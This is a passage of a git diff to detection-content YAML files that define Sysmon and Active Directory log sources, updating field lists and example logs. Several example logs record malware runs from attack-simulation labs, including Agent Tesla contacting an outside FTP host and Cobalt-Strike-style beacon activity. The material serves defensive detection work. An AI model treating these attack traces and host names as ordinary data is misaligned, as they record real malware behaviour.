EventData_Xml - - EventDescription - - EventID - - EventRecordID - - EventType - - Guid - - Image - - Keywords - - Level - - Name - - Opcode - - PipeName - - ProcessGuid - - ProcessID - - ProcessId - - RecordID - - RecordNumber - - RuleName - - SecurityID - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - TimeCreated - - UserID - - UtcTime - - Version - - action - date_hour - date_mday - date_minute @@ -62,33 +33,66 @@ fields: - date_year - date_zone - dest + - dvc - dvc_nt_host - event_id + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID + - EventType - eventtype + - Guid - host - id + - Image - index + - Keywords + - Level - linecount + - Name + - Opcode - os - pipe_name + - PipeName - process_exec - process_guid - process_id - process_name - process_path + - ProcessGuid + - ProcessID + - ProcessId - punct + - RecordID + - RecordNumber + - RuleName + - SecurityID + - severity - severity_id - signature - signature_id - source - sourcetype - splunk_server + - System_Props_Xml + - SystemTime - tag - tag::eventtype + - Task + - ThreadID + - TimeCreated - timeendpos - timestartpos + - User + - user - user_id + - UserID + - UtcTime - vendor_product + - Version output_fields: - dest - dvc @@ -102,4 +106,5 @@ output_fields: - signature_id - user_id - vendor_product -example_log: 18141800x8000000000000000162173Microsoft-Windows-Sysmon/Operationalwin-dc-982.attackrange.local-ConnectPipe2021-04-19 21:00:19.312{761B69BB-EF62-607D-B211-00000000BA01}6960\MSSE-1516-serverC:\Users\Administrator\Desktop\beacon.exe +example_log: | + 18141800x80000000000000001090401Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-ConnectPipe2025-02-11 09:49:08.448{A9E392D4-1CF5-67AB-7902-00000000CD03}2336<Anonymous Pipe>C:\Users\Public\mspaint.exeATTACKRANGE\Administrator diff --git a/data_sources/sysmon_eventid_22.yml b/data_sources/sysmon_eventid_22.yml index 2a53a74962..25c70fc906 100644 --- a/data_sources/sysmon_eventid_22.yml +++ b/data_sources/sysmon_eventid_22.yml @@ -2,7 +2,7 @@ name: Sysmon EventID 22 id: 911538b2-eba7-4d3e-85e8-d82d380c37bf version: 5 creation_date: '2024-05-22' -modification_date: '2026-10-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs DNS query events, including details about the queried domain, source IP, query type, and response data. mitre_components: @@ -22,6 +22,8 @@ supported_TA: version: 5.0.1 fields: - _time + - answer + - answer_count - Channel - Computer - date_hour @@ -32,6 +34,7 @@ fields: - date_wday - date_year - date_zone + - dvc - dvc_nt_host - event_id - EventChannel @@ -69,6 +72,8 @@ fields: - reply_code_id - RuleName - SecurityID + - severity + - severity_id - signature - signature_id - source @@ -84,6 +89,8 @@ fields: - TimeCreated - timeendpos - timestartpos + - user + - User - user_id - UserID - UtcTime @@ -104,4 +111,5 @@ field_mappings: QueryResults: DNS.answer QueryName: DNS.query Computer: DNS.src -example_log: 22542200x8000000000000000113892Microsoft-Windows-Sysmon/Operationalwin-dc-299.attackrange.local-2021-03-24 12:25:12.840{3CFDEE80-2F7D-605B-F50A-00000000AE01}717250.220.65.3.spam.dnsbl.sorbs.net9003-C:\Windows\System32\wermgr.exe +example_log: | + 22542200x8000000000000000482435Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2025-06-02 09:26:30.658{91179021-6E44-683D-7302-00000000E703}5484tinyurl.com0::ffff:104.18.111.161;::ffff:104.17.112.233;C:\Users\ADMINI~1\AppData\Local\Temp\is-73KFS.tmp\application_stable_release.tmpATTACKRANGE\Administrator diff --git a/data_sources/sysmon_eventid_23.yml b/data_sources/sysmon_eventid_23.yml index 6d934d8138..5403c29cf5 100644 --- a/data_sources/sysmon_eventid_23.yml +++ b/data_sources/sysmon_eventid_23.yml @@ -1,8 +1,8 @@ name: Sysmon EventID 23 id: 5ea2721d-f60c-4f48-a047-47d514e327c3 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the deletion of a file, including details about the file path, associated process, and the time of deletion. mitre_components: @@ -22,44 +22,10 @@ supported_TA: version: 5.0.1 fields: - _time + - action - Archived - Channel - Computer - - EventChannel - - EventCode - - EventData_Xml - - EventDescription - - EventID - - EventRecordID - - Guid - - Hashes - - IMPHASH - - Image - - IsExecutable - - Keywords - - Level - - MD5 - - Name - - Opcode - - ProcessGuid - - ProcessID - - ProcessId - - RecordID - - RecordNumber - - RuleName - - SHA256 - - SecurityID - - SystemTime - - System_Props_Xml - - TargetFilename - - Task - - ThreadID - - TimeCreated - - User - - UserID - - UtcTime - - Version - - action - date_hour - date_mday - date_minute @@ -69,37 +35,74 @@ fields: - date_year - date_zone - dest + - dvc - dvc_nt_host - event_id + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID - eventtype - file_hash - file_modify_time - file_name - file_path + - Guid + - Hashes - host - id + - Image + - IMPHASH - index + - IsExecutable + - Keywords + - Level - linecount + - MD5 + - Name - object_category + - Opcode - process_exec - process_guid - process_id - process_name - process_path + - ProcessGuid + - ProcessID + - ProcessId - punct + - RecordID + - RecordNumber + - RuleName + - SecurityID + - severity + - severity_id + - SHA256 - signature - signature_id - source - sourcetype - splunk_server + - System_Props_Xml + - SystemTime - tag - tag::eventtype - tag::object_category + - TargetFilename + - Task + - ThreadID + - TimeCreated - timeendpos - timestartpos + - User - user - user_id + - UserID + - UtcTime - vendor_product + - Version output_fields: - action - dest @@ -118,4 +121,5 @@ output_fields: - user - user_id - vendor_product -example_log: 23542300x8000000000000000281771Microsoft-Windows-Sysmon/Operationalwin-dc-ctus-attack-range-865.attackrange.local-2023-02-01 10:57:09.814{F522A29C-446D-63DA-9F01-00000000BB02}2428ATTACKRANGE\AdministratorC:\Temp\swiftslicer.exeC:\Python311\vcruntime140_1.dllMD5=75E78E4BF561031D39F86143753400FF,SHA256=1758085A61527B427C4380F0C976D29A8BEE889F2AC480C356A3F166433BF70E,IMPHASH=BF380CA954CBF10D1A4CEF9EC18E46FDtruefalse - insufficient disk space +example_log: | + 23542300x800000000000000025532Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2025-03-17 11:59:13.191{09721E1F-09E4-67D8-D703-00000000D803}6044ATTACKRANGE\AdministratorC:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exeC:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txtMD5=F3402D6DC0BDF6E55BDEE12E5E9239FD,SHA256=1C30C81571B24DFC53812C6424A932BEA6B7C73830A4A79038638705DEC5DFDC,IMPHASH=00000000000000000000000000000000falsetrue diff --git a/data_sources/sysmon_eventid_26.yml b/data_sources/sysmon_eventid_26.yml index 07fabf9724..a426be1f2f 100644 --- a/data_sources/sysmon_eventid_26.yml +++ b/data_sources/sysmon_eventid_26.yml @@ -1,8 +1,8 @@ name: Sysmon EventID 26 id: 77f946e0-4afb-4789-8d9e-c29c1658f501 -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Sysmon EventID 26 source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational @@ -15,6 +15,87 @@ supported_TA: version: 5.0.1 fields: - _time + - action + - Archived + - Channel + - Computer + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - dest + - dvc + - dvc_nt_host + - event_id + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID + - eventtype + - file_hash + - file_modify_time + - file_name + - file_path + - Guid + - Hashes + - host + - id + - Image + - IMPHASH + - index + - IsExecutable + - Keywords + - Level + - linecount + - MD5 + - Name + - object_category + - Opcode + - process_exec + - process_guid + - process_id + - process_name + - process_path + - ProcessGuid + - ProcessID + - ProcessId + - punct + - RecordID + - RecordNumber + - RuleName + - SecurityID + - severity + - severity_id + - SHA256 + - signature + - signature_id + - source + - sourcetype + - splunk_server + - System_Props_Xml + - SystemTime + - tag + - tag::eventtype + - tag::object_category + - TargetFilename + - Task + - ThreadID + - TimeCreated + - timeendpos + - timestartpos + - User + - user + - user_id + - UserID + - UtcTime + - vendor_product + - Version output_fields: - action - dest @@ -33,4 +114,5 @@ output_fields: - user - user_id - vendor_product -example_log: '' +example_log: | + 23542300x800000000000000025532Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2025-03-17 11:59:13.191{09721E1F-09E4-67D8-D703-00000000D803}6044ATTACKRANGE\AdministratorC:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exeC:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txtMD5=F3402D6DC0BDF6E55BDEE12E5E9239FD,SHA256=1C30C81571B24DFC53812C6424A932BEA6B7C73830A4A79038638705DEC5DFDC,IMPHASH=00000000000000000000000000000000falsetrue diff --git a/data_sources/sysmon_eventid_29.yml b/data_sources/sysmon_eventid_29.yml index 4ab79dacf8..048130c372 100644 --- a/data_sources/sysmon_eventid_29.yml +++ b/data_sources/sysmon_eventid_29.yml @@ -1,8 +1,8 @@ name: Sysmon EventID 29 id: 06c61e04-2d07-4e85-bcd5-8110938b1b18 -version: 2 +version: 3 creation_date: '2025-11-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Teoderick Contreras, Splunk description: Data source object for Sysmon EventID 29 source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational @@ -16,12 +16,8 @@ supported_TA: fields: - _time - action - - dest - - dvc - - Image - - EventID - - EventCode - - event_type + - Channel + - Computer - date_hour - date_mday - date_minute @@ -30,26 +26,69 @@ fields: - date_wday - date_year - date_zone - - User - - UserID - - TargetFilename - - process_id - - ProcessID - - Hashes + - dest + - dvc + - dvc_nt_host + - event_id + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID - EventRecordID - - Keywords - - Channel - - IMPHASH + - eventtype + - file_access_time - file_hash - file_name - file_path + - Guid + - Hashes + - host + - id + - Image + - IMPHASH + - index + - Keywords + - Level + - linecount + - MD5 + - Name + - Opcode + - process_guid + - process_id + - ProcessGuid + - ProcessID + - ProcessId + - punct + - RecordID + - RecordNumber + - RuleName + - SecurityID - severity + - severity_id + - SHA256 - signature - signature_id + - source + - sourcetype + - splunk_server + - System_Props_Xml + - SystemTime + - tag + - tag::eventtype + - TargetFilename + - Task + - ThreadID + - TimeCreated + - timeendpos + - timestartpos + - User - user - user_id - - SecurityID - - process_guid + - UserID + - UtcTime + - vendor_product + - Version output_fields: - Image - file_name @@ -60,4 +99,5 @@ output_fields: - dest - user - EventCode -example_log: 29542900x80000000000000003374716Microsoft-Windows-Sysmon/Operationalar-win-dc-2025-11-14 10:09:37.697{CA8A6768-FFA9-6916-9303-000000000304}1436AR-WIN-DC\AdministratorC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Microsoft_Corporation\lScun7w.docxMD5=1E6E804CA71EAF5BEF0ABEF95C578CF0,SHA256=6FFE12CDFE0A36DEC4B4A40ECDAFB4097B1AF7C340B0FCECF9F5C67B7FA8B299,IMPHASH=2C4D798BB87EC57193B7625C4259DA43 +example_log: | + 29542900x80000000000000003374716Microsoft-Windows-Sysmon/Operationalar-win-dc-2025-11-14 10:09:37.697{CA8A6768-FFA9-6916-9303-000000000304}1436AR-WIN-DC\AdministratorC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Microsoft_Corporation\lScun7w.docxMD5=1E6E804CA71EAF5BEF0ABEF95C578CF0,SHA256=6FFE12CDFE0A36DEC4B4A40ECDAFB4097B1AF7C340B0FCECF9F5C67B7FA8B299,IMPHASH=2C4D798BB87EC57193B7625C4259DA43 diff --git a/data_sources/sysmon_eventid_3.yml b/data_sources/sysmon_eventid_3.yml index 2b0e1cfab0..1ff82a75d5 100644 --- a/data_sources/sysmon_eventid_3.yml +++ b/data_sources/sysmon_eventid_3.yml @@ -1,8 +1,8 @@ name: Sysmon EventID 3 id: 01d84dff-4e26-422c-9389-6a579ee6e75b -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs details of network connections initiated by processes, including source and destination IPs, ports, protocols, and the associated process metadata. mitre_components: @@ -22,50 +22,10 @@ supported_TA: version: 5.0.1 fields: - _time - - Channel - - Computer - - DestinationHostname - - DestinationIp - - DestinationIsIpv6 - - DestinationPort - - DestinationPortName - - EventChannel - - EventCode - - EventData_Xml - - EventDescription - - EventID - - EventRecordID - - Guid - - Image - - Initiated - - Keywords - - Level - - Name - - Opcode - - ProcessGuid - - ProcessID - - ProcessId - - Protocol - - RecordID - - RecordNumber - - RuleName - - SecurityID - - SourceHostname - - SourceIp - - SourceIsIpv6 - - SourcePort - - SourcePortName - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - TimeCreated - - User - - UserID - - UtcTime - - Version - action - app + - Channel + - Computer - creation_time - date_hour - date_mday @@ -76,28 +36,61 @@ fields: - date_year - date_zone - dest + - dest_host - dest_ip - dest_port + - DestinationHostname + - DestinationIp + - DestinationIsIpv6 + - DestinationPort + - DestinationPortName - direction - dvc - dvc_ip - dvc_nt_host - event_id + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID - eventtype + - Guid - host - id + - Image - index + - Initiated + - Keywords + - Level - linecount + - Name + - Opcode - process_exec - process_guid - process_id - process_name + - ProcessGuid + - ProcessID + - ProcessId + - Protocol - protocol - protocol_version - punct + - RecordID + - RecordNumber + - RuleName + - severity + - severity_id - signature - signature_id - source + - SourceHostname + - SourceIp + - SourceIsIpv6 + - SourcePort + - SourcePortName - sourcetype - splunk_server - src @@ -105,15 +98,24 @@ fields: - src_ip - src_port - state + - System_Props_Xml + - SystemTime - tag - tag::eventtype + - Task + - TaskCategory + - ThreadID - timeendpos - timestartpos - transport - transport_dest_port + - User - user - user_id + - UserID + - UtcTime - vendor_product + - Version output_fields: - action - app @@ -130,4 +132,5 @@ output_fields: - transport - user - vendor_product -example_log: 354300x8000000000000000156837Microsoft-Windows-Sysmon/Operationalwin-dc-ctus-attack-range-403.attackrange.local-2022-09-15 12:56:19.679{6820D070-1F1B-6323-E113-000000007402}5728C:\Temp\agent_tesla-deob.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-ctus-attack-range-403.attackrange.local61722-false41.77.117.236youssef5.genious.net21ftp +example_log: | + 3 5 4 3 0 0x8000000000000000 1785 Microsoft-Windows-Sysmon/Operational SLABS-DC.snapattack.labs - 2023-03-09 00:08:09.283 97232C30-2368-6409-E605-000000000902 2264 C:\Users\Public\Documents\dsquery.exe NT AUTHORITY\SYSTEM tcp true true fe80:0:0:0:4582:ae34:10a5:1f41 SLABS-DC.snapattack.labs 64020 - true fe80:0:0:0:4582:ae34:10a5:1f41 SLABS-DC.snapattack.labs 389 ldap diff --git a/data_sources/sysmon_eventid_6.yml b/data_sources/sysmon_eventid_6.yml index bb5efed138..3e3725b969 100644 --- a/data_sources/sysmon_eventid_6.yml +++ b/data_sources/sysmon_eventid_6.yml @@ -1,8 +1,8 @@ name: Sysmon EventID 6 id: eadc297a-c20c-45a1-8fac-74ad54019767 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the loading of a driver into the kernel or user mode, including details about the driver name, file path, and associated process metadata. mitre_components: @@ -21,40 +21,9 @@ supported_TA: version: 5.0.1 fields: - _time + - action - Channel - Computer - - EventChannel - - EventCode - - EventData_Xml - - EventDescription - - EventID - - EventRecordID - - Guid - - Hashes - - ImageLoaded - - Keywords - - Level - - MD5 - - Name - - Opcode - - ProcessID - - RecordID - - RecordNumber - - RuleName - - SHA256 - - SecurityID - - Signature - - SignatureStatus - - Signed - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - TimeCreated - - UserID - - UtcTime - - Version - - action - date_hour - date_mday - date_minute @@ -64,30 +33,66 @@ fields: - date_year - date_zone - dest + - dvc - dvc_nt_host - event_id + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID - eventtype + - Guid + - Hashes - host - id + - ImageLoaded + - IMPHASH - index + - Keywords + - Level - linecount + - MD5 + - Name + - Opcode - os - process_hash - process_path + - ProcessID - punct + - RecordID + - RecordNumber + - RuleName + - SecurityID - service_signature_exists - service_signature_verified + - severity + - severity_id + - SHA256 + - Signature - signature - signature_id + - SignatureStatus + - Signed - source - sourcetype - splunk_server + - System_Props_Xml + - SystemTime - tag - tag::eventtype + - Task + - TaskCategory + - ThreadID + - TimeCreated - timeendpos - timestartpos - user_id + - UserID + - UtcTime - vendor_product + - Version output_fields: - dest - dvc @@ -97,4 +102,5 @@ output_fields: - signature_id - user_id - vendor_product -example_log: 644600x800000000000000015708989Microsoft-Windows-Sysmon/Operationalwin-dc-mhaag-attack-range-702.attackrange.local-2022-04-04 17:37:04.640C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\npf.sysMD5=DE7FCC77F4A503AF4CA6A47D49B3713D,SHA256=4BFAA99393F635CD05D91A64DE73EDB5639412C129E049F0FE34F88517A10FC6trueRiverbed Technology, Inc.Valid +example_log: | + 644600x800000000000000015708989Microsoft-Windows-Sysmon/Operationalwin-dc-mhaag-attack-range-702.attackrange.local-2022-04-04 17:37:04.640C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\npf.sysMD5=DE7FCC77F4A503AF4CA6A47D49B3713D,SHA256=4BFAA99393F635CD05D91A64DE73EDB5639412C129E049F0FE34F88517A10FC6trueRiverbed Technology, Inc.Valid diff --git a/data_sources/sysmon_eventid_7.yml b/data_sources/sysmon_eventid_7.yml index b4ec9a8fd3..0e2835038b 100644 --- a/data_sources/sysmon_eventid_7.yml +++ b/data_sources/sysmon_eventid_7.yml @@ -1,8 +1,8 @@ name: Sysmon EventID 7 id: 45512fa5-4d55-4088-9d51-f4dedc16fdff -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the loading of an image (module) into a process, including details about the image name, file path, and hash information. mitre_components: @@ -22,92 +22,96 @@ supported_TA: version: 5.0.1 fields: - _time + - action - Channel - Company - Computer + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone - Description + - dest + - dvc + - dvc_nt_host + - event_id - EventChannel - EventCode - EventData_Xml - EventDescription - EventID - EventRecordID + - eventtype - FileVersion - Guid - Hashes - - IMPHASH + - host + - id - Image - ImageLoaded + - IMPHASH + - index - Keywords - Level + - linecount + - loaded_file + - loaded_file_path - MD5 - Name - Opcode + - original_file_name - OriginalFileName + - os + - process_exec + - process_guid + - process_hash + - process_id + - process_name + - process_path - ProcessGuid - ProcessID - ProcessId - Product + - punct - RecordID - RecordNumber - RuleName - - SHA256 - SecurityID - - Signature - - SignatureStatus - - Signed - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - TimeCreated - - User - - UserID - - UtcTime - - Version - - action - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - os - - parent_process_exec - - parent_process_guid - - parent_process_id - - parent_process_name - - parent_process_path - - process_exec - - process_hash - - process_name - - process_path - - punct - service_dll_signature_exists - service_dll_signature_verified + - severity + - severity_id + - SHA256 + - Signature - signature - signature_id + - SignatureStatus + - Signed - source - sourcetype - splunk_server + - System_Props_Xml + - SystemTime - tag - tag::action - tag::eventtype + - Task + - TaskCategory + - ThreadID + - TimeCreated - timeendpos - timestartpos + - User - user - user_id + - UserID + - UtcTime - vendor_product + - Version output_fields: - Image - ImageLoaded @@ -126,4 +130,5 @@ output_fields: - signature_id - user_id - vendor_product -example_log: 734700x800000000000000045273Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-09-12 08:06:31.433{8814F3F5-1C07-6500-9600-000000000E03}4440C:\Users\Administrator\AppData\Local\Temp\server.exeC:\Users\Administrator\AppData\Local\Temp\server.exe-----MD5=696CBE2CB6F7FAC5ED6262BCA51238BB,SHA256=43005D86607DC94C7D378AA1B8844947BAA03860652F2F2340266061AF12E524,IMPHASH=F34D5F2D4577ED6D9CEEC516C1F5A744false-UnavailableATTACKRANGE\Administrator +example_log: | + 734700x800000000000000012799Microsoft-Windows-Sysmon/OperationalEC2AMAZ-FKEOM7G-2026-08-14 16:03:24.305{1b43529b-3c4c-6a7f-c904-000000006300}8748C:\Users\Administrator\Desktop\ShieldBreak.exeC:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26070.9-0\MpClient.dll4.18.26070.9 (797b3603749206dfffe67a1cc891531b0a2cf438)Client InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationmpclient.dllMD5=BD542955CA16303D5042FA6C519470F6,SHA256=F5BB3463A94C4D87CC90691B474126F5EC1330579DD596F381322C3DAF7F44DC,IMPHASH=E8D5A007E0A362B0C7263E95E1F2C82AtrueMicrosoft WindowsValidEC2AMAZ-FKEOM7G\Administrator diff --git a/data_sources/sysmon_eventid_8.yml b/data_sources/sysmon_eventid_8.yml index 53a5c3c09b..83aebe9c14 100644 --- a/data_sources/sysmon_eventid_8.yml +++ b/data_sources/sysmon_eventid_8.yml @@ -1,8 +1,8 @@ name: Sysmon EventID 8 id: df7a786c-ade0-48f0-8596-26f10d169f7d -version: 5 +version: 6 creation_date: '2024-05-22' -modification_date: '2026-06-29' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the creation of a new thread in a process, including details about the thread ID, start address, and source process. mitre_components: @@ -21,43 +21,9 @@ supported_TA: version: 5.0.1 fields: - _time + - action - Channel - Computer - - EventChannel - - EventCode - - EventData_Xml - - EventDescription - - EventID - - EventRecordID - - Guid - - Keywords - - Level - - Name - - NewThreadId - - Opcode - - ProcessID - - RecordID - - RecordNumber - - RuleName - - SecurityID - - SourceImage - - SourceProcessGuid - - SourceProcessId - - StartAddress - - StartFunction - - StartModule - - SystemTime - - System_Props_Xml - - TargetImage - - TargetProcessGuid - - TargetProcessId - - Task - - ThreadID - - TimeCreated - - UserID - - UtcTime - - Version - - action - date_hour - date_mday - date_minute @@ -67,13 +33,27 @@ fields: - date_year - date_zone - dest + - dvc - dvc_nt_host - event_id + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID - eventtype + - Guid - host - id - index + - Keywords + - Level - linecount + - loaded_file + - Name + - NewThreadId + - Opcode - os - parent_process_exec - parent_process_guid @@ -85,21 +65,46 @@ fields: - process_id - process_name - process_path + - ProcessID - punct + - RecordID + - RecordNumber + - RuleName + - SecurityID + - severity + - severity_id - signature - signature_id - source + - SourceImage + - SourceProcessGuid + - SourceProcessId - sourcetype - splunk_server - src_address - src_function - src_module + - StartAddress + - StartFunction + - StartModule + - System_Props_Xml + - SystemTime - tag - tag::eventtype + - TargetImage + - TargetProcessGuid + - TargetProcessId + - Task + - TaskCategory + - ThreadID + - TimeCreated - timeendpos - timestartpos - user_id + - UserID + - UtcTime - vendor_product + - Version output_fields: - dest - signature_id @@ -115,4 +120,5 @@ output_fields: - SourceUser - TargetUser - vendor_product -example_log: 824800x8000000000000000362233Microsoft-Windows-Sysmon/Operationalwin-dc-ctus-attack-range-487.attackrange.local-2022-10-27 13:59:12.427{3381F800-8EB0-635A-1306-000000008A02}4864C:\Windows\SysWOW64\wermgr.exe{3381F800-8085-635A-2701-000000008A02}5572C:\Windows\System32\Taskmgr.exe49640x0000000000C20000-- +example_log: | + 824800x80000000000000001054678Microsoft-Windows-Sysmon/Operationalwin-dc-ctus-attack-range-487.attackrange.local-2022-10-28 08:59:23.635{3381F800-8A03-635B-C401-000000008B02}5716C:\Windows\SysWOW64\wermgr.exe{3381F800-99EA-635B-D403-000000008B02}980C:\Program Files\Mozilla Firefox\firefox.exe7760x0000000000500000-- diff --git a/data_sources/windows_active_directory_admon.yml b/data_sources/windows_active_directory_admon.yml index 77746de129..66c71adee9 100644 --- a/data_sources/windows_active_directory_admon.yml +++ b/data_sources/windows_active_directory_admon.yml @@ -1,8 +1,8 @@ name: Windows Active Directory Admon id: 22bbf4e4-d313-43c1-98ee-808b8775519d -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs administrative actions within Active Directory, including user and group modifications, permission changes, and policy updates. mitre_components: @@ -19,40 +19,124 @@ supported_TA: version: 11.0.3 fields: - _time - - Guid - - IMPHASH - - MD5 - - Name - - ProcessID - - SHA256 - - SystemTime - - ThreadID - - UserID - admonEventType - cn - - dSCorePropagationData - dcName - displayName - distinguishedName + - dSCorePropagationData - eventtype - gPCMachineExtensionNames + - Guid - guid_lookup - host + - IMPHASH - index - instanceType - linecount + - MD5 + - Name - name - objectCategory - objectClass - objectGUID + - ProcessID - punct + - SHA256 - source - sourcetype - splunk_server + - SystemTime + - ThreadID - timestamp + - UserID - uSNChanged - uSNCreated - whenChanged - whenCreated - xmlns -example_log: 4688201331200x8020000000000000362027Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70xa44C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe%%19360x7a0"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level +example_log: | + 4688201331200x8020000000000000362027Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70xa44C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe%%19360x7a0"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level + 154100x800000000000000011367Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-03-28 19:31:14.811{F02F376E-4082-6423-571B-00000000D602}2628C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{F02F376E-FF56-6421-E703-000000000000}0x3e70SystemMD5=37B46253848001FA2332AA649697BBB8,SHA256=DCD0C40579E2F66805D1D9BDA1E8626B0988DF29D85429E492756F02DAEF6AF4,IMPHASH=F63F438A21D8EB823E551166D2E72BD6{00000000-0000-0000-0000-000000000000}1952--- + 154100x800000000000000013498Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:30:43.409{f73635a5-4063-6423-701c-000000004902}344C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{f73635a5-ff58-6421-e703-000000000000}0x3e70SystemMD5=B6E7745CB09028E7A3DA54C910ACBEB9,SHA256=F8DED57BEF961B925BDF3FC9D829FAD82BF436C49BB635AAE75564D70DABA75A,IMPHASH=6A5601498E7E7959885DB6B8832ECC0A{00000000-0000-0000-0000-000000000000}3132--- + 154100x800000000000000013497Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:30:42.644{f73635a5-4062-6423-6f1c-000000004902}1160C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe9.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{f73635a5-ff58-6421-e703-000000000000}0x3e70SystemMD5=80601ED27CFBD56EB4D847556776A4BC,SHA256=9E48FEE0D29DC8867EAEA8BC23ECC2BF46C010FCB215F99122D1F87E1D7D60A1,IMPHASH=E99D29902E9E9D71E38EE092E4F626C7{00000000-0000-0000-0000-000000000000}3132--- + 154100x800000000000000013496Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:30:42.003{f73635a5-4062-6423-6e1c-000000004902}2016C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe9.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{f73635a5-ff58-6421-e703-000000000000}0x3e70SystemMD5=B6A4D276E993FB7EE14DED01CBEBDA71,SHA256=CD4DF32D3564EA53C1EE782BB5F55A0C0E9CAC30BAE49D51B041829AA96CA5A4,IMPHASH=9374AAB4494C2195A38F44F0D36C8B58{00000000-0000-0000-0000-000000000000}3132--- + 154100x800000000000000013495Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:30:41.233{f73635a5-4061-6423-6d1c-000000004902}5728C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT 